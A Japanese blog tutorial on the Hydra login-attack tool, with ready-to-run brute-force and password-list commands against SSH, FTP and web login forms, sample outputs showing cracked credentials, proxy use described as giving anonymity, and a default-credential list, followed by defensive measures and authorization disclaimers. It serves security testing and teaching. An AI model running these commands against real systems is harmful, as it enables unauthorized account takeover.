ログイン攻撃ツール「Hydra」
2025年6月20日
セキュリティエンジニアの曽我です。今回のtoolsシリーズ第9回は、多機能なログイン攻撃ツール「Hydra」について詳しく解説します。オンラインサービスの認証システムに対する総当たり攻撃(ブルートフォース)やパスワードリスト攻撃を実行できる強力なツールです。
本記事では、Hydraの基本的な使い方から実践的な活用法まで、具体的なコマンド例と出力結果を交えながら解説します。認証システムのセキュリティテストやパスワード強度評価を行いたいセキュリティエンジニアの方々に役立つ内容となっています。
目次
- Hydraとは
- インストール方法
- 基本的な使い方 3.1. コマンドライン構文 3.2. 単一ユーザーに対する攻撃 3.3. 複数ユーザーに対する攻撃
- 高度な使用方法 4.1. パラレル接続の設定 4.2. プロキシの使用 4.3. カスタムモジュールの活用
- 実践的な活用例 5.1. Webフォーム認証テスト 5.2. SSHサーバーの評価 5.3. FTPサービスの検証
- セキュリティ対策と防御策
- まとめ
- 参考資料
1. Hydraとは
Hydraは、van Hauser氏によって開発された、オンラインパスワード攻撃ツールです。その名前は、ギリシャ神話の多頭の怪物「ヒドラ」に由来し、複数の接続を同時に扱える能力を象徴しています。Kali Linuxには標準搭載されており、多数のプロトコルに対するパラレルログイン攻撃をサポートしています。
Hydraの主な特徴:
- 多数のプロトコルに対応(SSH、HTTP(S)、FTP、SMB、SMTP、Telnetなど65以上)
- マルチスレッド設計による高速な処理
- ユーザー名とパスワードの組み合わせリストをサポート
- プロキシのサポート
- RESTfulサービスへの攻撃機能
- Webフォーム認証への攻撃機能
- カスタムモジュールの追加が可能
Hydraは、パスワードポリシーの評価や、弱いパスワードを使用したアカウントの特定など、セキュリティ診断に広く活用されています。
2. インストール方法
Kali Linuxには標準でインストールされていますが、他のディストリビューションへのインストール方法も記載します。
Debian/Ubuntuベースのシステム:
sudo apt update
sudo apt install hydra
Arch Linux:
sudo pacman -S hydra
Fedora/CentOS:
sudo dnf install hydra
GitHubからのビルド:
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra
./configure
make
sudo make install
インストールが完了したら、以下のコマンドでバージョンを確認できます:
hydra -h
出力例(一部):
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
Options:
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
...
3. 基本的な使い方
3.1. コマンドライン構文
Hydraの基本的なコマンド構文は以下の通りです:
hydra [オプション] [-l ログイン名|-L ユーザーリストファイル] [-p パスワード|-P パスワードリストファイル] ターゲット サービス
主なオプション:
-l
: 単一のユーザー名を指定-L
: ユーザー名リストファイルを指定-p
: 単一のパスワードを指定-P
: パスワードリストファイルを指定-t
: 同時に実行するタスク数(デフォルト:16)-f
: 有効なログイン情報が見つかったら停止-v
: 詳細な出力を表示-o
: 結果をファイルに保存
3.2. 単一ユーザーに対する攻撃
特定のユーザーに対してパスワードリストを使用した攻撃を行う例:
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
このコマンドは、IPアドレス192.168.1.100のSSHサーバーに対して、ユーザー名「admin」でrockyou.txtのパスワードリストを使用した攻撃を実行します。
出力例:
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-15 14:30:45
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.1.100:22/
[STATUS] 176.00 tries/min, 176 tries in 00:01h, 14344223 to do in 1359:12h, 16 active
[22][ssh] host: 192.168.1.100 login: admin password: password123
[STATUS] attack finished for 192.168.1.100 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-15 14:32:13
3.3. 複数ユーザーに対する攻撃
複数のユーザーに対してパスワードリストを使用した攻撃を行う例:
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.100
このコマンドは、FTPサーバーに対して、users.txtファイルに記載されたユーザー名とrockyou.txtのパスワードリストを使用した攻撃を実行します。
users.txtの例:
admin
user
guest
root
出力例:
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-15 14:35:22
[DATA] max 16 tasks per 1 server, overall 16 tasks, 57377596 login tries (l:4/p:14344399), ~3586100 tries per task
[DATA] attacking ftp://192.168.1.100:21/
[STATUS] 288.00 tries/min, 288 tries in 00:01h, 57377308 to do in 3318:09h, 16 active
[21][ftp] host: 192.168.1.100 login: user password: 123456
[21][ftp] host: 192.168.1.100 login: guest password: guest
[STATUS] 576.00 tries/min, 1152 tries in 00:02h, 57376444 to do in 1659:05h, 16 active
[21][ftp] host: 192.168.1.100 login: admin password: admin123
4. 高度な使用方法
4.1. パラレル接続の設定
Hydraのパフォーマンスを調整するには、同時実行タスク数を変更します:
hydra -l admin -P passwords.txt -t 4 ssh://192.168.1.100
-t
オプションで同時に実行するタスク(接続)数を指定します。SSHなどの一部のサービスでは、過剰な接続数によるブロックを避けるため、少ない値(4〜8)を設定することが推奨されます。
4.2. プロキシの使用
プロキシを経由してHydraを使用する例:
hydra -l admin -P passwords.txt http-post-form://192.168.1.100/login.php -m "proxy=http://proxy:8080"
このコマンドは、Webフォーム攻撃をHTTPプロキシ経由で実行します。これにより、匿名性の向上や特定のネットワーク制限のバイパスが可能になる場合があります。
4.3. カスタムモジュールの活用
Webフォーム認証に対する攻撃では、フォームの構造に合わせたパラメータ設定が必要です:
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:Login failed"
このコマンドは、Webフォームに対して、ユーザー名とパスワードを試行し、「Login failed」という文字列が応答に含まれる場合は失敗とみなします。
さらに複雑なフォームに対しては:
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^&csrf=1234:F=Login failed:H=Cookie: session=abcdef"
このコマンドでは、CSRFトークンとCookieヘッダーを含む、より複雑なWebフォーム攻撃を設定しています。
5. 実践的な活用例
5.1. Webフォーム認証テスト
企業のWebアプリケーション認証システムのセキュリティを評価するシナリオ:
hydra -L users.txt -P common_passwords.txt 10.0.0.100 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid username or password"
このコマンドで、社内Webアプリケーションの認証システムに対して、弱いパスワードが使用されているアカウントがないかをテストできます。
5.2. SSHサーバーの評価
企業のSSHサーバーのパスワードポリシー遵守状況を確認するシナリオ:
hydra -L /tmp/ssh_users.txt -P /tmp/company_specific_dict.txt -t 4 -f ssh://10.0.0.101
このコマンドで、SSHサーバーに対して、組織特有の単語(社名、プロジェクト名など)を含んだパスワード辞書を使用した評価ができます。-f
オプションは、1つの有効なログイン情報が見つかったら停止することを意味します。
5.3. FTPサービスの検証
デフォルトアカウントの有無をチェックするシナリオ:
hydra -C default_accounts.txt ftp://10.0.0.102
-C
オプションは、ユーザー名とパスワードのペアが格納されたファイルを指定します。このコマンドで、FTPサーバー上にデフォルトのアカウント(例:anonymous:anonymous)が有効になっていないかを簡単に確認できます。
default_accounts.txtの例:
admin:admin
admin:password
anonymous:anonymous
ftp:ftp
user:user
6. セキュリティ対策と防御策
Hydraのような攻撃ツールへの対策として、以下の防御策が有効です:
-
強力なパスワードポリシーの実装:
- 最小長の設定(12文字以上を推奨)
- 複雑さの要件(大文字、小文字、数字、特殊文字の組み合わせ)
- 一般的なパスワードの使用禁止
- 定期的なパスワード変更の強制
-
アカウントロックアウトポリシー:
- 一定回数(例:5回)の認証失敗後にアカウントを一時的にロック
- ロックアウト期間の設定(数分から数時間)
- 管理者によるロック解除プロセスの確立
-
レート制限の実装:
- 一定期間内の認証試行回数を制限
- IPアドレスごとの接続制限
- 異常な接続パターンの検出と遮断
-
多要素認証(MFA)の導入:
- パスワードだけでなく、追加の認証要素を要求
- モバイルアプリ、ハードウェアトークン、SMS、生体認証など
-
ログモニタリングと検知:
- 認証失敗のログ監視
- 異常なログインパターンの検出
- セキュリティ情報イベント管理(SIEM)システムとの統合
-
プロキシとWAFの活用:
- Webアプリケーションファイアウォール(WAF)の導入
- 明らかな攻撃パターンのブロック
- 地理的制限の実装(必要に応じて)
7. まとめ
Hydraは、多様なプロトコルに対応した強力なログイン攻撃ツールです。マルチスレッド設計による高速な処理能力と、様々なサービスに対応するモジュール式のアーキテクチャにより、包括的な認証セキュリティ評価を可能にします。
特に注目すべき点は、Webフォームからリモートサービス(SSH、FTP、SMBなど)まで、幅広いターゲットに対する攻撃能力です。これにより、組織内の様々なサービスのパスワードセキュリティを一貫した方法でテストできます。
セキュリティエンジニアを目指す方は、Hydraの使い方を習得することで、認証システムの弱点を効率的に発見し、適切な対策を講じるスキルを向上させることができるでしょう。ただし、このツールの使用は必ず適切な許可を得た上で、教育目的または許可されたペネトレーションテストの範囲内でのみ行うことが重要です。
最後に、Hydraのような攻撃ツールの存在自体が、強力なパスワードポリシー、多要素認証、アカウントロックアウト、レート制限などの防御策の重要性を示しています。組織のセキュリティ担当者は、これらの対策を適切に実装し、定期的に評価することで、ブルートフォース攻撃やパスワードリスト攻撃のリスクを大幅に軽減できます。
8. 参考資料
- THC-Hydra 公式GitHub リポジトリ
- Kali Linux Tools: Hydra
- OWASP: Authentication Cheat Sheet
- NIST: Digital Identity Guidelines
- SANS: Password Policies and Password Strength
- HackTricks: Brute Force - CheatSheet
- Offensive Security: Password Attacks
※本記事の内容は、教育目的および正当なセキュリティテストのためのものです。Hydraの使用は、自分が所有または正当な許可を得たシステムに限定してください。許可なく他者のシステムに対して使用することは、法律違反となる可能性があります。必ず適切な許可を得た上で実行してください。